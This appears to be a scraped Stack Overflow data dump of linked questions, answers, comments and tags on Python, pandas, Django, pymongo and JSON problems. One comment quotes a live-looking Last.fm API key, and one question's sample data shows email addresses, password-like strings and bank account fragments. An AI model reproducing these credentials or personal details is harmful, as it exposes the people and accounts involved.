type: Comment
type: QuestionComment
has text: @JGC i got the answer. I have used a scalar( a list) instead of a dict to change the names. Apparently it changes the series.names.
score: 0

http://stackoverflow.com/comment/81533567
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47289468
has text: Oh, and I also tried "pip install git+https ://github.com/jgillick/LendingClub" also, and I get the same error message.

http://stackoverflow.com/a/47301452
answers question: http://stackoverflow.com/q/47301373
has comment: http://stackoverflow.com/comment/81554680
has body: you can try this commands to fix it: pip uninstall requests pip install --upgrade requests if you have trouble about to execute pip command on windows, check this link
has comment: http://stackoverflow.com/comment/81553869
type: Answer
has comment: http://stackoverflow.com/comment/81554448
has comment: http://stackoverflow.com/comment/81554012
has comment: http://stackoverflow.com/comment/81554253
score: 0

http://stackoverflow.com/comment/81500262
has text: Occasionally people want to change the values for keys while iterating over a dict. It's still not really visible in those cases, though, because it's usually changing the value for the current key, not other keys, and the iterator won't re-fetch the value for the current key.
comment on: http://stackoverflow.com/a/47273359
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/47245484
has answer: http://stackoverflow.com/a/47245629
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/81441578
has title: Django keeps rendering the same page
score: 0
has body: I am trying to set up navigation with Django, however, each time I try to navigate it goes back to the same page again. Please help, any advice will be appreciated. Thank you! views.py # -*- coding: utf-8 -*- from __future__ import unicode_literals from django.shortcuts import render from django.contrib.auth import login, authenticate from django.contrib.auth.forms import UserCreationForm from django.shortcuts import render, redirect #from django.contrib.auth import views as auth_views #from . import views # Create your views here. def login(request): return render(request, 'login.html') def signup(request): if request.method == 'POST': form = UserCreationForm(request.POST) if form.is_valid(): form.save() #username = form.cleaned_data.get('username') #raw_password = form.cleaned_data.get('password1') #user = authenticate(username=username, password=raw_password) #login(request, user) return redirect('/templates') else: form = UserCreationForm() return render(request, 'templates/signup_form.html', {'form': form}) in Project the file called urls.py from django.conf.urls import url, include from django.contrib import admin urlpatterns = [ url(r'^login/', include('website.urls')), url(r'^signup/', include('website.urls')), url(r'^admin/', admin.site.urls), ] in the app website urls.py from django.conf.urls import url from django.contrib.auth.views import login from . import views # urlpatterns = [ url(r'^', views.login, name=''), url(r'^login/', login, {'template_name': 'templates/login.html'}), url(r'^signup/', views.signup, name = 'signup') #url(r'^login/$', index,{{'template_name': 'templates/index.html' }}) ]
tagged with: http://stackoverflow.com/tag/html
type: Question
type: UnansweredQuestion
answer count: 1

http://stackoverflow.com/a/47380305
has body: You may pass function as parameter: Test 1: from test2 import * def one(): print("one") pass def two(): print("two") print("now call function three from test one") three(one) # function one() one() two() Test 2: def three(function): print("three") print("now call function one from test 1") function()
score: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47380232
upvote count: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/47380232

http://stackoverflow.com/q/47278408
type: Question
linked to: http://stackoverflow.com/q/19480028
answer count: 2
has comment: http://stackoverflow.com/comment/81507836
linked to: http://stackoverflow.com/q/8777753
has answer: http://stackoverflow.com/a/47278755
type: UnansweredQuestion
has body: I have a list of dictionaries like this: [{'accounts': [{'account_number': 'xx6747', 'bank_name': 'Fargo Bank', 'bankid': 85, 'created_date_y': Timestamp('2015-05-20 08:08:33'), 'item_account_id': 20086385.0, 'item_id': 17764259, 'user_id': 18}, {'account_number': '*819', 'bank_name': 'Central Alabama - Bank', 'bankid': 88, 'created_date_y': Timestamp('2015-05-20 08:08:33'), 'item_account_id': 20637127.0, 'item_id': 17761624, 'user_id': 18}, {'account_number': '*056', 'bank_name': 'Central Alabama - Bank', 'bankid': 88, 'created_date_y': Timestamp('2015-05-20 08:08:33'), 'item_account_id': 20087284.0, 'item_id': 17761624, 'user_id': 18}, 'created_date_x': Timestamp('2014-03-11 10:48:42'), 'id': 18, 'password': 'NjgrUW9URGZz09', 'status': 1, 'uid': 97560, 'username': 'pepass@yahoo.com'}, {'accounts': [{'account_number': 791, 'bank_name': 'Chase - Bank', 'bankid': 855, 'created_date_y': Timestamp('2015-05-20 08:03:37'), 'item_account_id': 20090104.0, 'item_id': 17764260, 'user_id': 20}, {'account_number': 883, 'bank_name': 'Chase - Bank', 'bankid': 852, 'created_date_y': Timestamp('2015-05-20 08:03:37'), 'item_account_id': 20090105.0, 'item_id': 17764260, 'user_id': 20}], 'created_date_x': Timestamp('2014-03-11 13:42:20'), 'id': 20, 'password': 'bmJlbTN5dFo5QT09', 'status': 1, 'uid': 99408, 'username': 'hor@sanstore.com'}] It contains other items as well. The created_date_x and created_date_y are timestamps. I want to convert this list into a nested dictionary something like this: {'id': 18, 'password': 'NjgrUW9URGZz09', 'status': 1, 'uid': 97560, 'username': 'pepass@yahoo.com'}, 'created_date_x': Timestamp('2014-03-11 10:48:42') {'accounts': [{'account_number': 'xx6747', 'bank_name': 'Fargo Bank', 'bankid': 85, 'created_date_y': Timestamp('2015-05-20 08:08:33'), 'item_account_id': 20086385.0, 'item_id': 17764259, 'user_id': 18}, {'account_number': '*819', 'bank_name': 'Central Alabama - Bank', 'bankid': 88, 'created_date_y': Timestamp('2015-05-20 08:08:33'), 'item_ac…
has comment: http://stackoverflow.com/comment/81508885
has comment: http://stackoverflow.com/comment/81507684
score: 0
tagged with: pandas
tagged with: http://stackoverflow.com/tag/json
has title: Converting a list into JSON with timestamp
has comment: http://stackoverflow.com/comment/81507665
has answer: http://stackoverflow.com/a/47278592
tagged with: python
has comment: http://stackoverflow.com/comment/81508846
linked to: http://stackoverflow.com/q/43288550

http://stackoverflow.com/q/47253584
has title: Authenticate After Picking the Database
upvote count: 2
type: UnansweredQuestion
answer count: 1
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/81597012
favorite count: 0
has comment: http://stackoverflow.com/comment/81597285
score: 2
has comment: http://stackoverflow.com/comment/81597479
has comment: http://stackoverflow.com/comment/81457595
has comment: http://stackoverflow.com/comment/81597337
tagged with: pymongo
has comment: http://stackoverflow.com/comment/81461285
has body: I have 3 databases in my MongoDB server. I am using pymongo to do some scripting with Python3. I want to use the latest versions and practices. Once I open the client and pick the database, the API for pymongo.MongoClient.['mydatabase'].authenticate is deprecated. https://api.mongodb.com/python/current/api/pymongo/database.html Authentication prior to picking the database (while dialing the client) doesn't seem to flow down toward the database. Not just for pymongo, but also when I use mongo shell. So I have a feeling this is the issue. script.py import pymongo from pymongo import MongoClient u = getUser() # function which prompts for username p = getPassword() # getpass.getpass('Password') uri = formatUri(u, p) # formats 'mongodb://%s:%s@%s'.format(user, password, host) client = MongoClient(uri) db = client['mydb'] col = db.mycollection for doc in col.find(): print(doc) I get the error that I am not authorized for the database. I know my account works in shell but I have to dial the client first then use the db and then auth. Here's a mongo shell example: $ mongo MongoDB shell version: v3.4.10 Connecting to: mongodb://127.0.0.1:port MongoDB server version: v3.4.10 &gt; use mydb switched to mydb &gt; db.auth("user", "pass") 1 Any idea how I can either auth after picking the database or once I use the db it remembers the context I dialed with?
has answer: http://stackoverflow.com/a/47255638
type: Question
tagged with: mongodb
has comment: http://stackoverflow.com/comment/81597193

http://stackoverflow.com/a/47257844
score: 1
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47257638
type: Answer
has comment: http://stackoverflow.com/comment/81467331
has body: I am sure someone else can do better than I. config = { 'g7': {}, 'd5': {}, 'a9': {}, } config['g7']['cam_name'] = ('Canon-PS-G7-X-Mark-II') config['d5']['cam_name'] = ('Nikon-D5') config['a9']['cam_name'] = ('Sony-alpha9') camtype = """1 camera: %s""" %(config['g7']['cam_name']) #search up python print function allcam = [ value['cam_name'] for key, value in config.items()] #creates list with all cameras str_allcam = "all cameras " + ', '.join( str(p) for p in allcam) # prints all cameras with a comma seperator print(camtype +"\n" + str_allcam) # outputs a two lines because of newline seperator

http://stackoverflow.com/a/47345818
has comment: http://stackoverflow.com/comment/81647170
has comment: http://stackoverflow.com/comment/81646670
has comment: http://stackoverflow.com/comment/81646191
has comment: http://stackoverflow.com/comment/81646508
has comment: http://stackoverflow.com/comment/81647056
has body: a.py: import json from pprint import pprint as pp def add_app(obj_dict, app_name, pipeline_config_id): new_cfg = { "application": app_name, "pipelineConfigId": pipeline_config_id, } obj_dict["config"]["pipelineConfigs"].append(new_cfg) obj_dict["config"]["applications"].append(app_name) def main(): with open("initial.json") as fin: obj = json.load(fin) print("INITIAL:\n") pp(obj) add_app(obj, "service3", "another_id") print("\nFINAL:\n") pp(obj) # EDIT: writing the modified json to file with open("final.json", "w") as fout: json.dump(obj, fout, indent=" ") if __name__ == "__main__": main() Notes: I saved your initial json in a file called initial.json which I'm loading using the [Python]: json — JSON encoder and decoder module 2 things needed to do (after loading the file): Add the application name to the existing applications list Ad the application config to the existing pipeline configs list I'm not doing any error checking Output: c:\Work\Dev\StackOverflow\q47345368&gt;"c:\Work\Dev\VEnvs\py35x64_test\Scripts\python.exe" a.py INITIAL: {'config': {'applications': ['service1', 'service2'], 'clusters': [{'account': 'some-account', 'applications': None, 'detail': '*', 'stack': '*'}], 'pipelineConfigs': [{'application': 'service1', 'pipelineConfigId': 'd2eb526c-839b-41b3-b59c-f86db6eebb4e'}, {'application': 'service2', 'pipelineConfigId': 'f79394b6-e37f-42e2-a9b3-fdbcf85ad1d7'}]}, 'createTs': 1510743534340, 'email': 'some@email.com', 'id': 'some-id', 'lastModifiedBy': 'admin', 'name': 'some-name', 'updateTs': 1510750871252} FINAL: {'config': {'applications': ['service1', 'service2', 'service3'], 'clusters': [{'account': 'some-account', 'applications': None, 'detail': '*', 'stack': '*'}], 'pipelineConfigs': [{'application': 'service1', 'pipelineConfigId': 'd2eb526c-839b-41b3-b59c-f86db6eebb4e'}, {'application': 'service2', 'pipelineConfigId': 'f79394b6-e37f-42e2-a9b3-fdbcf85ad1d7'}, {'application': 'service3', 'pipelineConfigId': 'another_id'}]}, 'createTs': 1510743534…
type: Answer
answers question: http://stackoverflow.com/q/47345368
score: 0
accepted answer of: http://stackoverflow.com/q/47345368
has comment: http://stackoverflow.com/comment/81646912
type: AcceptedAnswer

http://stackoverflow.com/comment/94294961
type: Comment
has text: Double click seems not support pandas data frame in my spyder
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/47341200

http://stackoverflow.com/comment/81506539
type: Comment
type: QuestionComment
score: 0
has text: https://stackoverflow.com/a/47252287/7976758
comment on: http://stackoverflow.com/q/47277706

http://stackoverflow.com/q/47229728
has comment: http://stackoverflow.com/comment/81410100
upvote count: 0
downvote count: 2
has comment: http://stackoverflow.com/comment/81409947
has title: How to continue writing to string in python
has comment: http://stackoverflow.com/comment/81410753
favorite count: 0
has comment: http://stackoverflow.com/comment/81410124
type: AnsweredQuestion
has body: In python I have written something like this; script = """ import network from machine import Pin, PWM from time import sleep """ And I want to write something after it but without deleting the old ones. How do I do?
possible better answer: http://stackoverflow.com/a/47229873
accepted answer: http://stackoverflow.com/a/47229759
score: -2
has comment: http://stackoverflow.com/comment/81409957
has answer: http://stackoverflow.com/a/47229873
has answer: http://stackoverflow.com/a/47229759
tagged with: python
type: Question
answer count: 2

http://stackoverflow.com/comment/81502650
comment on: http://stackoverflow.com/q/47275727
type: Comment
type: QuestionComment
score: 0
has text: What do you mean "instead of actual data", especially "instead of lower case"??

http://stackoverflow.com/q/47256212
has body: I have a datatime data, their format is like 29062017 and 01AUG2017. As you can see, the month is in the middle of data. I want to convert this data to datetime, when I use pd.to_datetime, but it doesn't work. Do you know a good way to solve this problem?
answer count: 5
has answer: http://stackoverflow.com/a/47256933
has answer: http://stackoverflow.com/a/47256301
tagged with: datetime
accepted answer: http://stackoverflow.com/a/47256301
tagged with: python
has answer: http://stackoverflow.com/a/47256241
possible better answer: http://stackoverflow.com/a/47256241
tagged with: date
upvote count: 15
score: 15
has answer: http://stackoverflow.com/a/47256515
tagged with: pandas
has comment: http://stackoverflow.com/comment/81463328
downvote count: 0
has answer: http://stackoverflow.com/a/70544788
favorite count: 0
type: Question
has title: Convert dates to pd.to_datetime where month could be either a number or month name
type: AnsweredQuestion

tweepy
tags question: http://stackoverflow.com/q/47341988
tags question: http://stackoverflow.com/q/47273935
type: Tag
tags question: http://stackoverflow.com/q/47274968
tags question: http://stackoverflow.com/q/47291196
tags question: http://stackoverflow.com/q/47299700
tags question: http://stackoverflow.com/q/47242006
tags question: http://stackoverflow.com/q/47289938
tags question: http://stackoverflow.com/q/47251120
tags question: http://stackoverflow.com/q/47314215
tag name: tweepy
tags question: http://stackoverflow.com/q/47371844

http://stackoverflow.com/comment/81653730
has text: http://ws.audioscrobbler.com/2.0/?method=geo.gettopartists&country=spain&format=json&page=1&api_key=3dc24ba195e232058d7a623a80be1f6e still works. Don't forget to have your API key revoked.
type: QuestionComment
comment on: http://stackoverflow.com/q/47350672
type: Comment
score: 2

http://stackoverflow.com/comment/81467323
type: AnswerComment
comment on: http://stackoverflow.com/a/47257861
has text: @HakariDo it's not giving any error in my machine. have you changed anything?
type: Comment
score: 0

http://stackoverflow.com/comment/81587012
comment on: http://stackoverflow.com/a/47312637
type: AnswerComment
has text: If you want you can edit the answer to include what you think is missing. In a real world scenario you would probably check if clicks happen inside the axes, `if event.inaxes == self.ax:`. Or you can check if `event.xdata` is `None` before using it.
score: 0
type: Comment

http://stackoverflow.com/a/49122074
has comment: http://stackoverflow.com/comment/85250005
score: 0
has comment: http://stackoverflow.com/comment/85276633
type: Answer
answers question: http://stackoverflow.com/q/47313877
has comment: http://stackoverflow.com/comment/85251489
has body: It’s possible you did not leave any white space before and after the = mark. I get the same error when I use the exact code you gave us but after adding a space before and after the = it works just fine.

http://stackoverflow.com/a/47366380
accepted answer of: http://stackoverflow.com/q/47364660
downvote count: 0
has body: If your points and data are contained in a single Numpy array you can use the unpack syntax *array in the function call In [4]: a = np.arange(30) In [5]: a = a.reshape((6,5)) In [6]: a Out[6]: array([[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14], [15, 16, 17, 18, 19], [20, 21, 22, 23, 24], [25, 26, 27, 28, 29]]) In [7]: f = Rbf(*a) In [8]: f((2,3),(7,8),(12,13),(17,18),(22,23)) Out[8]: array([ 27., 28.]) Of course you can also use the same syntax when using the function computed by Rbf In [9]: x = np.array((4,9,14,19,24)) In [10]: f(*x) Out[10]: array(29.0)
upvote count: 1
score: 1
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/47364660

http://stackoverflow.com/a/47380107
downvote count: 1
has comment: http://stackoverflow.com/comment/81715717
answers question: http://stackoverflow.com/q/47380074
has comment: http://stackoverflow.com/comment/81718060
type: Answer
score: -1
has body: On line 19, you are doing the following: select = inv[int(item)-1] First of all; it's not clear what the purpose of this is. Please double check it. If you want to call the inv function, you need to call it with parentheses () and add the method parameters to the function declaration. Right now you're treating a function as a list, and using int(item)-1 as the index of that list. Hence the error.
upvote count: 0

http://stackoverflow.com/a/47270042
has comment: http://stackoverflow.com/comment/81491014
score: 0
has body: You can try in one line: Assuming you have stored all files names in one list now and each file contain numbers like: 1.txt file: 1 2 3 4 You can try : pathname = ['1.txt','2.txt','3.txt','4.txt'] print([sum([int(i) for i in open(i,'r+')]) for i in pathname]) output: [10, 14, 26, 30]
answers question: http://stackoverflow.com/q/47269577
type: Answer

http://stackoverflow.com/q/47350084
tagged with: http://stackoverflow.com/tag/json
tagged with: python
has title: Update a specific key in JSON Array using PYTHON
has body: I have a JSON file which has some key-value pairs in Arrays. I need to update/replace the value for key id with a value stored in a variable called Var1 The problem is that when I run my python code, it adds the new key-value pair in outside the inner array instead of replacing: PYTHON SCRIPT: import json import sys var1=abcdefghi with open('C:\\Projects\\scripts\\input.json', 'r+') as f: json_data = json.load(f) json_data['id'] = var1 f.seek(0) f.write(json.dumps(json_data)) f.truncate() INPUT JSON: { "channel": "AT", "username": "Maintenance", "attachments": [ { "fallback":"[Urgent]:", "pretext":"[Urgent]:", "color":"#D04000", "fields":[ { "title":"SERVERS:", "id":"popeye", "short":false } ] } ] } OUTPUT: { "username": "Maintenance", "attachments": [ { "color": "#D04000", "pretext": "[Urgent]:", "fallback": "[Urgent]:", "fields": [ { "short": false, "id": "popeye", "title": "SERVERS:" } ] } ], "channel": "AT", "id": "abcdefghi" }
answer count: 2
has answer: http://stackoverflow.com/a/47350122
upvote count: 2
score: 1
tagged with: arrays
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/75559345
type: UnansweredQuestion

http://stackoverflow.com/q/47377111
tagged with: variables
tagged with: string
has answer: http://stackoverflow.com/a/47377140
has answer: http://stackoverflow.com/a/47377160
type: Question
tagged with: format
score: 0
tagged with: input
tagged with: python
answer count: 2
type: UnansweredQuestion
has title: Inputting and Formatting Strings
has body: I am writing a menu for a game in Python but am coming across a problem when trying to ask the user for their name. user_name = str(input("\033[4;32mPlease Enter Your Name:")) print("Hello {0}".format(user_name)) When ran, the program will only display the .format(user_name) if a number is inputted but when a string is inputted it comes up with an error saying that the string is not defined. Any help would be appreciated :)

http://stackoverflow.com/a/47318250
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47318136
type: Answer
has body: list(initial_grid) makes a shallow copy of your list. The inner lists are not copied. Demo: &gt;&gt;&gt; l = [[1, 2], [0, 0]] &gt;&gt;&gt; c = list(l) &gt;&gt;&gt; l is c False &gt;&gt;&gt; all(x is y for x,y in zip(l, c)) True &gt;&gt;&gt; c[0][0] = 5 &gt;&gt;&gt; c [[5, 2], [0, 0]] &gt;&gt;&gt; l [[5, 2], [0, 0]] If you want a deep copy, use copy.deepcopy. Or for a 2D list, write &gt;&gt;&gt; d = [sub[:] for sub in l] &gt;&gt;&gt; d[0][0] = 7 &gt;&gt;&gt; d [[7, 2], [0, 0]] &gt;&gt;&gt; l [[5, 2], [0, 0]] Also, your lingo is off. We don't have pointers in Python. We have names and values.
score: 1
answers question: http://stackoverflow.com/q/47318136

http://stackoverflow.com/comment/81515216
type: Comment
comment on: http://stackoverflow.com/a/47281863
score: 0
type: AnswerComment
has text: @MertCakir you are welcome to further check pep8 for python style and ease of reading, but foremost, sockets are sensitive to operational errors in understanding and buffers might not contain the whole response, etc. so good luck in continuing on your path

http://stackoverflow.com/comment/81634133
comment on: http://stackoverflow.com/q/47339616
has text: See if https://stackoverflow.com/questions/39554660/np-arrays-being-immutable-assignment-destination-is-read-only helps.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47381231
has title: Python cfscrape error: Missing Node.js runtime
type: AnsweredQuestion
score: 0
tagged with: web-scraping
answer count: 1
tagged with: cloudflare
accepted answer: http://stackoverflow.com/a/47382620
has body: I am trying to use cfscrape in Python 3.6 to bypass cloudflare: import cfscrape scraper = cfscrape.create_scraper() # returns a CloudflareScraper instance url = "https://..." print(scraper.get(url).content) But it gives me the following error: OSError: Missing Node.js runtime. Node is required. Please read the cfscrape README's Dependencies section: https://github.com/Anorov/cloudflare-scrape#dependencies. The thing is I have installed all dependencies and I can run node e.g. via terminal: node -v gives me --> v8.9.1 So what am I doing wrong ?
has answer: http://stackoverflow.com/a/47382620
type: Question
tagged with: python
tagged with: dependencies
tagged with: node.js

http://stackoverflow.com/comment/83588047
has text: @Basj: Please see h5py's excellent Quick Start tutorial here: http://docs.h5py.org/en/latest/quick.html - it has code for exactly what you want.
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/47238925
type: Comment

http://stackoverflow.com/comment/81497673
has text: r'prezzo','qty','codice' = r'prezzo','qty','codice'.astype(int) give me KeyError: "['codice'] not in index" error.
score: 0
comment on: http://stackoverflow.com/a/47272667
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47311302
type: AcceptedAnswer
type: Answer
has body: Somewhere you have defined a dictionary with the name max. Rename the dictionary to a name that's not already taken by a builtin.
downvote count: 0
answers question: http://stackoverflow.com/q/47311256
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47311256
has comment: http://stackoverflow.com/comment/81602231

http://stackoverflow.com/comment/81625227
has text: @cᴏʟᴅsᴘᴇᴇᴅ, please post it as an asnwer! :-)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47336666
type: Comment

http://stackoverflow.com/q/47272676
favorite count: 0
has comment: http://stackoverflow.com/comment/81496495
has title: Update Model Instance via Django REST POST
score: 1
tagged with: django-models
tagged with: python
has comment: http://stackoverflow.com/comment/81496607
has answer: http://stackoverflow.com/a/47273220
type: Question
downvote count: 0
upvote count: 1
linked to: http://stackoverflow.com/q/31173324
type: UnansweredQuestion
has body: I've got a model "Assignment" that I want to be able to update through the api. Updated per comments urls.py router = routers.DefaultRouter() router.register(r'assignments', views.AssignmentList, base_name='Assignments') urlpatterns = [ url(r'^api/v1/', include(router.urls)), url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')), ] serializers.py class AssignmentSerializer(serializers.ModelSerializer): class Meta: model = Assignment fields = ( 'id', 'company', 'farm', 'sensor', 'name', 'location', 'notes', 'units', 'max_height', 'frequency', 'interval', 'max_threshold', 'min_threshold', 'notify', 'last_alert_time', 'last_alert_water_level') views.py class AssignmentList(viewsets.ModelViewSet): serializer_class = AssignmentSerializer pagination_class = None def get_queryset(self): queryset = Assignment.objects.all() company_id = self.request.query_params.get('company_id', None) sensor_id = self.request.query_params.get('sensor_id', None) if company_id is not None: queryset = Assignment.objects.filter(company_id=company_id) if sensor_id is not None: queryset = Assignment.objects.filter(sensor_id=sensor_id) return queryset Currently my view allows for easy filtering based on two of the fields, 'company_id' and 'sensor_id'. This allows for easy access of the data in json. Unfortunately I can't figure out how to POST back even with the built in API form. I would like to be able to filter down to a single instance and edit a single field, let's say "assignment.name" for now. It's my understanding that... The actions provided by the ModelViewSet class are .list(), .retrieve(), .create(), .update(), .partial_update(), and .destroy(). (DRF Docs) So what do I need to do to leverage them to edit a model instance via url? Or honestly just edit one period. I've been running in circles trying different Mixins, views (UpdateAPIView, RetrieveUpdateAPIView etc.) and this question in particular Stack Overflow: Django Rest Framework update field.
answer count: 1
tagged with: django
tagged with: django-rest-framework

http://stackoverflow.com/comment/81665149
type: AnswerComment
has text: ColdSpeed, YOU'RE ABSOLUTELY FREEZING AND EXTREMELY FAST!!! This saved me a lot of time, plus I learned something, thanks very much for the help -
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47339854

http://stackoverflow.com/comment/81635085
comment on: http://stackoverflow.com/a/47333211
type: Comment
score: 0
type: AnswerComment
has text: Thanks, makes more sense now.

http://stackoverflow.com/comment/82083919
type: QuestionComment
comment on: http://stackoverflow.com/q/47318357
type: Comment
has text: It's sending API commands to my monitoring application, Centreon.
score: 0

http://stackoverflow.com/comment/81516523
comment on: http://stackoverflow.com/a/47271707
type: Comment
has text: I'm not that good with Python, could you tell me how to exactly ?
score: 0
type: AnswerComment

http://stackoverflow.com/q/47357798
upvote count: 2
answer count: 0
tagged with: pandas
has title: Pandas: Applying custom aggregation function (not w/ groupby)
score: 1
downvote count: 1
tagged with: numpy-ufunc
favorite count: 0
has body: We can think of applying two types of functions to a Pandas Series: transformations and aggregations. They make this distinction in the documentation; transformations map individual values in the Series while aggregations somehow summarize the entire Series (e.g. mean). It is clear how to apply transformations using apply, but I have not be successful in implementing a custom aggregation. Note that groupby is not involved, and aggregation does not require a groupby. I am working with the following case: I have a Series in which each row is a list of strings. One way I could aggregate this data is to count up the number of appearances of each string, and return the 5 most common terms. def top_five_strings(series): counter = {} for row in series: for s in row: if s in counter: counter[s] += 1 else: counter[s] = 1 return sorted(s.items(), key=lambda x: x[1])[:5] If I call this function as top_five_strings(series), it works fine, analogous to as if I had called np.mean(series) on a numeric series. However, the difference is I can also do series.agg(np.mean) and get the same result. If I do series.agg(top_five_strings), I instead get the top five letters of in each row of the Series (which makes sense if you make a single row the argument of the function). I think the critical difference is that np.mean is a NumPy ufunc, but I haven't been able to work out how the _aggregate helper function works in the Pandas source. I'm left with 2 questions: 1) Can I implement this by making my Python function a ufunc (and if so, how)? 2) Is this a stupid thing to do? I haven't found anyone else out there trying to do something like this. It seems to me like it would be quite nice, however, to be able to implement custom aggregations as well as custom transformations within the Pandas framework (e.g. I get a Series as a result as one might with df.describe).
type: Question
tagged with: numpy
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/81434280
score: 1
type: Comment
type: AnswerComment
has text: @user42768: The parenthesized part is saying that if there is no existing binding, Python would have to create a new one, and it can't tell where to do that.
comment on: http://stackoverflow.com/a/47241846

http://stackoverflow.com/q/47354354
type: AnsweredQuestion
score: 0
tagged with: http://stackoverflow.com/tag/csv
linked to: http://stackoverflow.com/q/125703
accepted answer: http://stackoverflow.com/a/47355262
has answer: http://stackoverflow.com/a/47355096
tagged with: parsing
type: Question
has comment: http://stackoverflow.com/comment/81661170
answer count: 2
possible better answer: http://stackoverflow.com/a/47355096
has answer: http://stackoverflow.com/a/47355262
has comment: http://stackoverflow.com/comment/81661379
has title: What is the most simple way to remove a row in a CSV using Python CSV?
tagged with: python
has comment: http://stackoverflow.com/comment/81661668
has body: I'm having trouble finding clear and concise methods of removing a select row from a CSV using the CSV module (not the Panda since it's required to be installed). I would also like to remove a range of rows separately. Every article and every question I've seen either or abroad are not clear at all and tend to include specific logic people are asking about. I just want a clear cut answer that is very simple. I would like to use argv to provide a filename, beginning row number, and end row numbers. So something like python Script.py /CSVfile.csv 1 5, meaning the file name and remove rows 1 through 5 (beginning and ending). I'm new to Python scripting and I get halfway there, but there is always some logic people include that isn't relevant to what I need to do. I just keep getting blocked (as I typically do when trying to code), any help is appreciated. import csv import sys var1 = sys.argv[1] var2 = sys.argv[2] var3 = sys.argv[3] with open (var1, 'w') as file1: reader = csv.reader(file1) for line in reader: file1.writer()

http://stackoverflow.com/comment/81459023
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/47254173
has text: `csv.reader` is already a generator, so the first code is just wrapping a generator in a generator and is overall slower and more complicated than necessary.

http://stackoverflow.com/q/47369809
has comment: http://stackoverflow.com/comment/81692247
tagged with: django
tagged with: python
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47369964
tagged with: django-views
accepted answer: http://stackoverflow.com/a/47369964
has answer: http://stackoverflow.com/a/47369839
has body: model class Person(models.Model): first_name = models.CharField(blank=False,max_length=256,default='') last_name = models.CharField(blank=False,max_length=256,default='') plan = models.CharField(blank=False,max_length=256,default='') plan_price = models.CharField(blank=False,max_length=256,default='') Views.py if request.method == 'POST': if form.is_valid(): form.save(commit=True) return index(request) In my modelForm I accept 3 values from the user: first_name, last_name, and plan. I dont have any problem with posting to the database from the form, what i am trying to find out is how I can say something like this if plan = 'plan1': #set plan_price to '$399' else #set plan_price to '$699' #then post first_name, last_name, plan, plan_price to database
tagged with: django-models
tagged with: django-forms
possible better answer: http://stackoverflow.com/a/47369839
type: Question
has title: Post additional model values to database in views.py not modelform
answer count: 2

http://stackoverflow.com/comment/81493138
comment on: http://stackoverflow.com/a/47268420
type: Comment
score: 0
type: AnswerComment
has text: @Acccumulation you raise a fair concern. I updated the answer to address a more general case of loading not so nice data.

http://stackoverflow.com/q/47243065
upvote count: 1
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/47243090
has body: I'm trying to call my function overwatch. It should print out bastion and lucio. My code looks right to me. However I'm getting a couple errors and I don't know why I'm getting an error. def overwatch(hero1, hero2): print("hello " + hero1 "and " hero2) overwatch(bastion, lucio)
has answer: http://stackoverflow.com/a/47243106
has comment: http://stackoverflow.com/comment/81436787
has comment: http://stackoverflow.com/comment/81436919
tagged with: printing
answer count: 3
has title: Syntax Error in function
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47243120
type: UnansweredQuestion
downvote count: 2

http://stackoverflow.com/comment/81502680
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47275391
has text: @kstullich Error as observed: why when adding the same lines of a code but with just changed variables, does it throw an error?

http://stackoverflow.com/a/47245629
has comment: http://stackoverflow.com/comment/81441897
has comment: http://stackoverflow.com/comment/81441890
type: Answer
has body: The URL patterns are matched from top to bottom. Your first urlpattern is matching anything it sees, so django sends all requests to views.login. Try putting that row at the bottom of the list urlpatterns = [ url(r'^login/', login, {'template_name': 'templates/login.html'}), url(r'^signup/', views.signup, name = 'signup') url(r'^', views.login, name=''),}}) ]
answers question: http://stackoverflow.com/q/47245484
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/81533882
type: QuestionComment
comment on: http://stackoverflow.com/q/47291550
score: 0
type: Comment
has text: Sorry. Edited the question

http://stackoverflow.com/comment/81627774
type: Comment
type: AnswerComment
score: 1
has text: In general, regexes are *not* recommended for parsing HTML (among other things). The OP (actually all of us) is better off with a proper parser.
comment on: http://stackoverflow.com/a/47332993

http://stackoverflow.com/a/47375019
has comment: http://stackoverflow.com/comment/81702756
type: Answer
answers question: http://stackoverflow.com/q/47374965
has body: You have to edit out the else statement. Because consider the case where the current just exceeds longest, i.e, from current = 3 and longest =3 , current becomes 4 by incrementing itself. Now here , you still want it to go inside the if current &gt; longest statement s = 'abcv' longest = 1 current = 1 for i in range (len(s) - 1): if s[i] &lt;= s[i+1]: current += 1 #else: if current &gt; longest: longest = current current = 0 i += 1 longest = current print longest
has comment: http://stackoverflow.com/comment/81702618
score: 0

http://stackoverflow.com/comment/81623859
type: Comment
type: QuestionComment
has text: Have you done any debugging? Do you know how to step through the code?
comment on: http://stackoverflow.com/q/47336151
score: 0

http://stackoverflow.com/a/47312352
has body: Today Keras does not know about Dask dataframes or arrays. I suspect that it is just converting the dask object into the equivalent Pandas or Numpy object instead. If your Keras model can be trained incrementally then you could solve this problem using dask.delayed and some for loops. Eventually it would be nice to see the Keras and Dask projects learn more about each other to facilitate these workloads without excess work.
accepted answer of: http://stackoverflow.com/q/47300713
